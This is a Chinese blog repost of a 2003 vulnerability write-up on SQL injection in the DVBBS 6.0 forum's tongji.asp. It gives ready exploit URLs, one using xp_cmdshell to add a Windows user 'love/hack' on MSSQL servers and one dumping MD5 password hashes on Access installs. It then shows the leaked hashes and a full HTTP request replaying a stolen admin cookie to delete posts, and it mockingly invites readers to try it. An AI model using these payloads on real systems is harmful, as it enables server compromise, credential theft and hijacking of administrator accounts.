我的人生路  
日历
<2005年7月>
262728293012
3456789
10111213141516
17181920212223
24252627282930
31123456
统计
  • 随笔 - 74
  • 文章 - 57
  • 评论 - 7
  • 引用 - 0

导航

常用链接

留言簿(5)

随笔分类

随笔档案

文章分类

文章档案

相册

颜色

搜索

  •  

最新评论

阅读排行榜

评论排行榜

 
创建时间:2003-05-01
文章属性:原创
文章来源:灰色轨迹
文章提交:PsKey (PsKey_at_hotmail.com)

PsKey<PsKey@hotmail.com>
www.isgrey.com

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
^^^^^^^^^^
DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2<ACCESS&MSSQL>
//低版本没看,反正低版本的问题成堆,也不少这一个-)

描述:
^^^^^^
DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。

具体:
^^^^^^
DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
---------------------------------------------------------
6   if request("orders")=1 then
7      call tongji()
8   elseif request("orders")=2 then
9    call topuser()
...
60  sub topuser()
61    set rs=server.createobject("adodb.recordset")
62    sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate  from [user] order by article desc"
---------------------------------------------------------
很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。

攻击方法:
^^^^^^^^^^
1:MSSQL
如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..xp_cmdshell%20'net%20user%20love%20hack%20/add'%20--
顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。

2:ACCESS
如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:
---------------------------------------------------------
66    response.write "document.write('<FONT color=#b70000>□</FONT><span style=""font-size:9pt;line-height: 15pt""><a href=http://www.pydz.com/sunwinbbs/dispuser.asp?name="& rs(0) &" target=_blank title=查看"&rs(0)&"的个人资料>');"
67       response.write "document.write('"&rs(0)&"</a>');"
68    response.write "document.write('</span><br>');"
---------------------------------------------------------
看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
返回:
---------------------------------------------------------
document.write('□');document.write('admin');document.write('
');document.write('□');document.write('ss');document.write('
');
---------------------------------------------------------

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2%20userpassword,
返回:
---------------------------------------------------------
document.write('□');document.write('18e071ccfb2d1c99');document.write('
');document.write('□');document.write('acd5fdfea300e88a');document.write('
');
---------------------------------------------------------
哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。

得到这些能干什么?(准备暴力破解可以略过不看)
曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。

在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:
---------------------------------------------------------
elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
          errmsg=errmsg+"<br>"+"<li>输入的旧密码错误,请重新输入。"
        founderr=true
        exit sub
---------------------------------------------------------
哈哈,不行了吧!

看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:

---------------------------------------------------------
POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
Host: www.target.com
Content-Length: 124
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0

title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
---------------------------------------------------------

明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)

还可以做什么?动动脑子,你可以做到更多。

后记:心情太不美丽了,臭屁了这么久您可不要厌烦。Have a nice day!

欢迎大家访问我的个人网站 萌萌的IT人
posted on 2005-07-07 17:56 一天一点爱恋 阅读(562) 评论(0)  编辑  收藏

只有注册用户登录后才能发表评论。


网站导航:
 
 
Copyright © 一天一点爱恋 Powered by: 博客园 模板提供:沪江博客